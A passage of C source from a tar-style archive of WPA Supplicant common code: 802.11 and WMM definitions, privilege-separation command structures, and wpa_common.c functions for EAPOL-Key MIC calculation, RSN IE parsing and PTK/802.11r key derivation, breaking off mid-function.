#define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9)))
#define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8))
#define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9))
#define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9)))
#define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10))
#define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11))
#define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12))
#define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13))
#define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14))
#define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15))
#define EXT_HT_CAP_INFO_PCO ((u16) BIT(0))
#define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1
#define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8
#define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10))
#define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11))
#define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0))
#define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1))
#define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2))
#define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3))
#define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4))
#define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5))
#define TX_BEAMFORM_CAP_CALIB_OFFSET 6
#define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8))
#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9))
#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10))
#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11
#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13
#define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15
#define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17
#define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19
#define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21
#define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23
#define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25
#define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0))
#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1))
#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2))
#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3))
#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4))
#define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5))
#define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6))
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1))
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0))
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1))
#define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2))
#define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3))
#define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4))
#define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5))
#define OP_MODE_PURE 0
#define OP_MODE_MAY_BE_LEGACY_STAS 1
#define OP_MODE_20MHZ_HT_STA_ASSOCED 2
#define OP_MODE_MIXED 3
#define HT_INFO_OPERATION_MODE_OP_MODE_MASK \
((le16) (0x0001 | 0x0002))
#define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0
#define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2))
#define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3))
#define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4))
#define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6))
#define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7))
#define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8))
#define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9))
#define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10))
#define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11))
#define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs)
* 00:50:F2 */
#define WPA_IE_VENDOR_TYPE 0x0050f201
#define WPS_IE_VENDOR_TYPE 0x0050f204
#define WMM_OUI_TYPE 2
#define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0
#define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1
#define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2
#define WMM_VERSION 1
#define WMM_ACTION_CODE_ADDTS_REQ 0
#define WMM_ACTION_CODE_ADDTS_RESP 1
#define WMM_ACTION_CODE_DELTS 2
#define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0
#define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1
/* 2 - Reserved */
#define WMM_ADDTS_STATUS_REFUSED 3
/* 4-255 - Reserved */
/* WMM TSPEC Direction Field Values */
#define WMM_TSPEC_DIRECTION_UPLINK 0
#define WMM_TSPEC_DIRECTION_DOWNLINK 1
/* 2 - Reserved */
#define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3
/*
* WMM Information Element (used in (Re)Association Request frames; may also be
* used in Beacon frames)
*/
struct wmm_information_element {
/* Element ID: 221 (0xdd); Length: 7 */
/* required fields for WMM version 1 */
u8 oui[3]; /* 00:50:f2 */
u8 oui_type; /* 2 */
u8 oui_subtype; /* 0 */
u8 version; /* 1 for WMM version 1.0 */
u8 qos_info; /* AP/STA specific QoS info */
} STRUCT_PACKED;
#define WMM_AC_AIFSN_MASK 0x0f
#define WMM_AC_AIFNS_SHIFT 0
#define WMM_AC_ACM 0x10
#define WMM_AC_ACI_MASK 0x60
#define WMM_AC_ACI_SHIFT 5
#define WMM_AC_ECWMIN_MASK 0x0f
#define WMM_AC_ECWMIN_SHIFT 0
#define WMM_AC_ECWMAX_MASK 0xf0
#define WMM_AC_ECWMAX_SHIFT 4
struct wmm_ac_parameter {
u8 aci_aifsn; /* AIFSN, ACM, ACI */
u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */
le16 txop_limit;
} STRUCT_PACKED;
/*
* WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association
* Response frmaes)
*/
struct wmm_parameter_element {
/* Element ID: 221 (0xdd); Length: 24 */
/* required fields for WMM version 1 */
u8 oui[3]; /* 00:50:f2 */
u8 oui_type; /* 2 */
u8 oui_subtype; /* 1 */
u8 version; /* 1 for WMM version 1.0 */
u8 qos_info; /* AP/STA specif QoS info */
u8 reserved; /* 0 */
struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */
} STRUCT_PACKED;
/* WMM TSPEC Element */
struct wmm_tspec_element {
u8 eid; /* 221 = 0xdd */
u8 length; /* 6 + 55 = 61 */
u8 oui[3]; /* 00:50:f2 */
u8 oui_type; /* 2 */
u8 oui_subtype; /* 2 */
u8 version; /* 1 */
/* WMM TSPEC body (55 octets): */
u8 ts_info[3];
le16 nominal_msdu_size;
le16 maximum_msdu_size;
le32 minimum_service_interval;
le32 maximum_service_interval;
le32 inactivity_interval;
le32 suspension_interval;
le32 service_start_time;
le32 minimum_data_rate;
le32 mean_data_rate;
le32 peak_data_rate;
le32 maximum_burst_size;
le32 delay_bound;
le32 minimum_phy_rate;
le16 surplus_bandwidth_allowance;
le16 medium_time;
} STRUCT_PACKED;
/* Access Categories / ACI to AC coding */
enum {
WMM_AC_BE = 0 /* Best Effort */,
WMM_AC_BK = 1 /* Background */,
WMM_AC_VI = 2 /* Video */,
WMM_AC_VO = 3 /* Voice */
};
#define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */
#define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */
/* cipher suite selectors */
#define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00
#define WLAN_CIPHER_SUITE_WEP40 0x000FAC01
#define WLAN_CIPHER_SUITE_TKIP 0x000FAC02
/* reserved: 0x000FAC03 */
#define WLAN_CIPHER_SUITE_CCMP 0x000FAC04
#define WLAN_CIPHER_SUITE_WEP104 0x000FAC05
#define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06
/* AKM suite selectors */
#define WLAN_AKM_SUITE_8021X 0x000FAC01
#define WLAN_AKM_SUITE_PSK 0x000FAC02
#endif /* IEEE802_11_DEFS_H */
bully-1.4-00/src/common/privsep_commands.h 0000775 0000000 0000000 00000003103 13615304636 0020532 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant - privilege separation commands
* Copyright (c) 2007-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef PRIVSEP_COMMANDS_H
#define PRIVSEP_COMMANDS_H
enum privsep_cmd {
PRIVSEP_CMD_REGISTER,
PRIVSEP_CMD_UNREGISTER,
PRIVSEP_CMD_SCAN,
PRIVSEP_CMD_GET_SCAN_RESULTS,
PRIVSEP_CMD_ASSOCIATE,
PRIVSEP_CMD_GET_BSSID,
PRIVSEP_CMD_GET_SSID,
PRIVSEP_CMD_SET_KEY,
PRIVSEP_CMD_GET_CAPA,
PRIVSEP_CMD_L2_REGISTER,
PRIVSEP_CMD_L2_UNREGISTER,
PRIVSEP_CMD_L2_NOTIFY_AUTH_START,
PRIVSEP_CMD_L2_SEND,
PRIVSEP_CMD_SET_COUNTRY,
};
struct privsep_cmd_associate
{
u8 bssid[ETH_ALEN];
u8 ssid[32];
size_t ssid_len;
int freq;
int pairwise_suite;
int group_suite;
int key_mgmt_suite;
int auth_alg;
int mode;
size_t wpa_ie_len;
/* followed by wpa_ie_len bytes of wpa_ie */
};
struct privsep_cmd_set_key
{
int alg;
u8 addr[ETH_ALEN];
int key_idx;
int set_tx;
u8 seq[8];
size_t seq_len;
u8 key[32];
size_t key_len;
};
enum privsep_event {
PRIVSEP_EVENT_SCAN_RESULTS,
PRIVSEP_EVENT_ASSOC,
PRIVSEP_EVENT_DISASSOC,
PRIVSEP_EVENT_ASSOCINFO,
PRIVSEP_EVENT_MICHAEL_MIC_FAILURE,
PRIVSEP_EVENT_INTERFACE_STATUS,
PRIVSEP_EVENT_PMKID_CANDIDATE,
PRIVSEP_EVENT_STKSTART,
PRIVSEP_EVENT_FT_RESPONSE,
PRIVSEP_EVENT_RX_EAPOL,
};
#endif /* PRIVSEP_COMMANDS_H */
bully-1.4-00/src/common/version.h 0000775 0000000 0000000 00000000131 13615304636 0016644 0 ustar 00root root 0000000 0000000 #ifndef VERSION_H
#define VERSION_H
#define VERSION_STR "0.7.3"
#endif /* VERSION_H */
bully-1.4-00/src/common/wpa_common.c 0000775 0000000 0000000 00000051157 13615304636 0017327 0 ustar 00root root 0000000 0000000 /*
* WPA/RSN - Shared functions for supplicant and authenticator
* Copyright (c) 2002-2008, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "crypto/sha256.h"
#include "crypto/aes_wrap.h"
#include "crypto/crypto.h"
#include "ieee802_11_defs.h"
#include "defs.h"
#include "wpa_common.h"
/**
* wpa_eapol_key_mic - Calculate EAPOL-Key MIC
* @key: EAPOL-Key Key Confirmation Key (KCK)
* @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*)
* @buf: Pointer to the beginning of the EAPOL header (version field)
* @len: Length of the EAPOL frame (from EAPOL header to the end of the frame)
* @mic: Pointer to the buffer to which the EAPOL-Key MIC is written
* Returns: 0 on success, -1 on failure
*
* Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has
* to be cleared (all zeroes) when calling this function.
*
* Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the
* description of the Key MIC calculation. It includes packet data from the
* beginning of the EAPOL-Key header, not EAPOL header. This incorrect change
* happened during final editing of the standard and the correct behavior is
* defined in the last draft (IEEE 802.11i/D10).
*/
int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len,
u8 *mic)
{
u8 hash[SHA1_MAC_LEN];
switch (ver) {
case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4:
return hmac_md5(key, 16, buf, len, mic);
case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES:
if (hmac_sha1(key, 16, buf, len, hash))
return -1;
os_memcpy(mic, hash, MD5_MAC_LEN);
break;
#if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W)
case WPA_KEY_INFO_TYPE_AES_128_CMAC:
return omac1_aes_128(key, buf, len, mic);
#endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */
default:
return -1;
}
return 0;
}
/**
* wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces
* @pmk: Pairwise master key
* @pmk_len: Length of PMK
* @label: Label to use in derivation
* @addr1: AA or SA
* @addr2: SA or AA
* @nonce1: ANonce or SNonce
* @nonce2: SNonce or ANonce
* @ptk: Buffer for pairwise transient key
* @ptk_len: Length of PTK
* @use_sha256: Whether to use SHA256-based KDF
*
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
* PTK = PRF-X(PMK, "Pairwise key expansion",
* Min(AA, SA) || Max(AA, SA) ||
* Min(ANonce, SNonce) || Max(ANonce, SNonce))
*
* STK = PRF-X(SMK, "Peer key expansion",
* Min(MAC_I, MAC_P) || Max(MAC_I, MAC_P) ||
* Min(INonce, PNonce) || Max(INonce, PNonce))
*/
void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label,
const u8 *addr1, const u8 *addr2,
const u8 *nonce1, const u8 *nonce2,
u8 *ptk, size_t ptk_len, int use_sha256)
{
u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN];
if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) {
os_memcpy(data, addr1, ETH_ALEN);
os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN);
} else {
os_memcpy(data, addr2, ETH_ALEN);
os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN);
}
if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) {
os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN);
os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2,
WPA_NONCE_LEN);
} else {
os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN);
os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1,
WPA_NONCE_LEN);
}
#ifdef CONFIG_IEEE80211W
if (use_sha256)
sha256_prf(pmk, pmk_len, label, data, sizeof(data),
ptk, ptk_len);
else
#endif /* CONFIG_IEEE80211W */
sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk,
ptk_len);
wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR,
MAC2STR(addr1), MAC2STR(addr2));
wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len);
wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len);
}
#ifdef CONFIG_IEEE80211R
int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr,
u8 transaction_seqnum, const u8 *mdie, size_t mdie_len,
const u8 *ftie, size_t ftie_len,
const u8 *rsnie, size_t rsnie_len,
const u8 *ric, size_t ric_len, u8 *mic)
{
u8 *buf, *pos;
size_t buf_len;
buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len;
buf = os_malloc(buf_len);
if (buf == NULL)
return -1;
pos = buf;
os_memcpy(pos, sta_addr, ETH_ALEN);
pos += ETH_ALEN;
os_memcpy(pos, ap_addr, ETH_ALEN);
pos += ETH_ALEN;
*pos++ = transaction_seqnum;
if (rsnie) {
os_memcpy(pos, rsnie, rsnie_len);
pos += rsnie_len;
}
if (mdie) {
os_memcpy(pos, mdie, mdie_len);
pos += mdie_len;
}
if (ftie) {
struct rsn_ftie *_ftie;
os_memcpy(pos, ftie, ftie_len);
if (ftie_len < 2 + sizeof(*_ftie)) {
os_free(buf);
return -1;
}
_ftie = (struct rsn_ftie *) (pos + 2);
os_memset(_ftie->mic, 0, sizeof(_ftie->mic));
pos += ftie_len;
}
if (ric) {
os_memcpy(pos, ric, ric_len);
pos += ric_len;
}
wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf);
if (omac1_aes_128(kck, buf, pos - buf, mic)) {
os_free(buf);
return -1;
}
os_free(buf);
return 0;
}
#endif /* CONFIG_IEEE80211R */
#ifndef CONFIG_NO_WPA2
static int rsn_selector_to_bitfield(const u8 *s)
{
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE)
return WPA_CIPHER_NONE;
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40)
return WPA_CIPHER_WEP40;
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP)
return WPA_CIPHER_TKIP;
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP)
return WPA_CIPHER_CCMP;
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104)
return WPA_CIPHER_WEP104;
#ifdef CONFIG_IEEE80211W
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC)
return WPA_CIPHER_AES_128_CMAC;
#endif /* CONFIG_IEEE80211W */
return 0;
}
static int rsn_key_mgmt_to_bitfield(const u8 *s)
{
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X)
return WPA_KEY_MGMT_IEEE8021X;
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X)
return WPA_KEY_MGMT_PSK;
#ifdef CONFIG_IEEE80211R
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X)
return WPA_KEY_MGMT_FT_IEEE8021X;
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK)
return WPA_KEY_MGMT_FT_PSK;
#endif /* CONFIG_IEEE80211R */
#ifdef CONFIG_IEEE80211W
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256)
return WPA_KEY_MGMT_IEEE8021X_SHA256;
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256)
return WPA_KEY_MGMT_PSK_SHA256;
#endif /* CONFIG_IEEE80211W */
return 0;
}
#endif /* CONFIG_NO_WPA2 */
/**
* wpa_parse_wpa_ie_rsn - Parse RSN IE
* @rsn_ie: Buffer containing RSN IE
* @rsn_ie_len: RSN IE buffer length (including IE number and length octets)
* @data: Pointer to structure that will be filled in with parsed data
* Returns: 0 on success, <0 on failure
*/
int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len,
struct wpa_ie_data *data)
{
#ifndef CONFIG_NO_WPA2
const struct rsn_ie_hdr *hdr;
const u8 *pos;
int left;
int i, count;
os_memset(data, 0, sizeof(*data));
data->proto = WPA_PROTO_RSN;
data->pairwise_cipher = WPA_CIPHER_CCMP;
data->group_cipher = WPA_CIPHER_CCMP;
data->key_mgmt = WPA_KEY_MGMT_IEEE8021X;
data->capabilities = 0;
data->pmkid = NULL;
data->num_pmkid = 0;
#ifdef CONFIG_IEEE80211W
data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC;
#else /* CONFIG_IEEE80211W */
data->mgmt_group_cipher = 0;
#endif /* CONFIG_IEEE80211W */
if (rsn_ie_len == 0) {
/* No RSN IE - fail silently */
return -1;
}
if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) {
wpa_printf(MSG_DEBUG, "%s: ie len too short %lu",
__func__, (unsigned long) rsn_ie_len);
return -1;
}
hdr = (const struct rsn_ie_hdr *) rsn_ie;
if (hdr->elem_id != WLAN_EID_RSN ||
hdr->len != rsn_ie_len - 2 ||
WPA_GET_LE16(hdr->version) != RSN_VERSION) {
wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version",
__func__);
return -2;
}
pos = (const u8 *) (hdr + 1);
left = rsn_ie_len - sizeof(*hdr);
if (left >= RSN_SELECTOR_LEN) {
data->group_cipher = rsn_selector_to_bitfield(pos);
#ifdef CONFIG_IEEE80211W
if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) {
wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group "
"cipher", __func__);
return -1;
}
#endif /* CONFIG_IEEE80211W */
pos += RSN_SELECTOR_LEN;
left -= RSN_SELECTOR_LEN;
} else if (left > 0) {
wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much",
__func__, left);
return -3;
}
if (left >= 2) {
data->pairwise_cipher = 0;
count = WPA_GET_LE16(pos);
pos += 2;
left -= 2;
if (count == 0 || left < count * RSN_SELECTOR_LEN) {
wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), "
"count %u left %u", __func__, count, left);
return -4;
}
for (i = 0; i < count; i++) {
data->pairwise_cipher |= rsn_selector_to_bitfield(pos);
pos += RSN_SELECTOR_LEN;
left -= RSN_SELECTOR_LEN;
}
#ifdef CONFIG_IEEE80211W
if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) {
wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as "
"pairwise cipher", __func__);
return -1;
}
#endif /* CONFIG_IEEE80211W */
} else if (left == 1) {
wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)",
__func__);
return -5;
}
if (left >= 2) {
data->key_mgmt = 0;
count = WPA_GET_LE16(pos);
pos += 2;
left -= 2;
if (count == 0 || left < count * RSN_SELECTOR_LEN) {
wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), "
"count %u left %u", __func__, count, left);
return -6;
}
for (i = 0; i < count; i++) {
data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos);
pos += RSN_SELECTOR_LEN;
left -= RSN_SELECTOR_LEN;
}
} else if (left == 1) {
wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)",
__func__);
return -7;
}
if (left >= 2) {
data->capabilities = WPA_GET_LE16(pos);
pos += 2;
left -= 2;
}
if (left >= 2) {
data->num_pmkid = WPA_GET_LE16(pos);
pos += 2;
left -= 2;
if (left < (int) data->num_pmkid * PMKID_LEN) {
wpa_printf(MSG_DEBUG, "%s: PMKID underflow "
"(num_pmkid=%lu left=%d)",
__func__, (unsigned long) data->num_pmkid,
left);
data->num_pmkid = 0;
return -9;
} else {
data->pmkid = pos;
pos += data->num_pmkid * PMKID_LEN;
left -= data->num_pmkid * PMKID_LEN;
}
}
#ifdef CONFIG_IEEE80211W
if (left >= 4) {
data->mgmt_group_cipher = rsn_selector_to_bitfield(pos);
if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) {
wpa_printf(MSG_DEBUG, "%s: Unsupported management "
"group cipher 0x%x", __func__,
data->mgmt_group_cipher);
return -10;
}
pos += RSN_SELECTOR_LEN;
left -= RSN_SELECTOR_LEN;
}
#endif /* CONFIG_IEEE80211W */
if (left > 0) {
wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored",
__func__, left);
}
return 0;
#else /* CONFIG_NO_WPA2 */
return -1;
#endif /* CONFIG_NO_WPA2 */
}
#ifdef CONFIG_IEEE80211R
/**
* wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name
*
* IEEE Std 802.11r-2008 - 8.5.1.5.3
*/
void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len,
const u8 *ssid, size_t ssid_len,
const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len,
const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name)
{
u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 +
FT_R0KH_ID_MAX_LEN + ETH_ALEN];
u8 *pos, r0_key_data[48], hash[32];
const u8 *addr[2];
size_t len[2];
/*
* R0-Key-Data = KDF-384(XXKey, "FT-R0",
* SSIDlength || SSID || MDID || R0KHlength ||
* R0KH-ID || S0KH-ID)
* XXKey is either the second 256 bits of MSK or PSK.
* PMK-R0 = L(R0-Key-Data, 0, 256)
* PMK-R0Name-Salt = L(R0-Key-Data, 256, 128)
*/
if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN)
return;
pos = buf;
*pos++ = ssid_len;
os_memcpy(pos, ssid, ssid_len);
pos += ssid_len;
os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN);
pos += MOBILITY_DOMAIN_ID_LEN;
*pos++ = r0kh_id_len;
os_memcpy(pos, r0kh_id, r0kh_id_len);
pos += r0kh_id_len;
os_memcpy(pos, s0kh_id, ETH_ALEN);
pos += ETH_ALEN;
sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf,
r0_key_data, sizeof(r0_key_data));
os_memcpy(pmk_r0, r0_key_data, PMK_LEN);
/*
* PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt)
*/
addr[0] = (const u8 *) "FT-R0N";
len[0] = 6;
addr[1] = r0_key_data + PMK_LEN;
len[1] = 16;
sha256_vector(2, addr, len, hash);
os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN);
}
/**
* wpa_derive_pmk_r1_name - Derive PMKR1Name
*
* IEEE Std 802.11r-2008 - 8.5.1.5.4
*/
void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id,
const u8 *s1kh_id, u8 *pmk_r1_name)
{
u8 hash[32];
const u8 *addr[4];
size_t len[4];
/*
* PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name ||
* R1KH-ID || S1KH-ID))
*/
addr[0] = (const u8 *) "FT-R1N";
len[0] = 6;
addr[1] = pmk_r0_name;
len[1] = WPA_PMK_NAME_LEN;
addr[2] = r1kh_id;
len[2] = FT_R1KH_ID_LEN;
addr[3] = s1kh_id;
len[3] = ETH_ALEN;
sha256_vector(4, addr, len, hash);
os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN);
}
/**
* wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0
*
* IEEE Std 802.11r-2008 - 8.5.1.5.4
*/
void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name,
const u8 *r1kh_id, const u8 *s1kh_id,
u8 *pmk_r1, u8 *pmk_r1_name)
{
u8 buf[FT_R1KH_ID_LEN + ETH_ALEN];
u8 *pos;
/* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */
pos = buf;
os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN);
pos += FT_R1KH_ID_LEN;
os_memcpy(pos, s1kh_id, ETH_ALEN);
pos += ETH_ALEN;
sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN);
wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name);
}
/**
* wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1
*
* IEEE Std 802.11r-2008 - 8.5.1.5.5
*/
void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce,
const u8 *sta_addr, const u8 *bssid,
const u8 *pmk_r1_name,
u8 *ptk, size_t ptk_len, u8 *ptk_name)
{
u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN];
u8 *pos, hash[32];
const u8 *addr[6];
size_t len[6];
/*
* PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce ||
* BSSID || STA-ADDR)
*/
pos = buf;
os_memcpy(pos, snonce, WPA_NONCE_LEN);
pos += WPA_NONCE_LEN;
os_memcpy(pos, anonce, WPA_NONCE_LEN);
pos += WPA_NONCE_LEN;
os_memcpy(pos, bssid, ETH_ALEN);
pos += ETH_ALEN;
os_memcpy(pos, sta_addr, ETH_ALEN);
pos += ETH_ALEN;
sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len);
/*
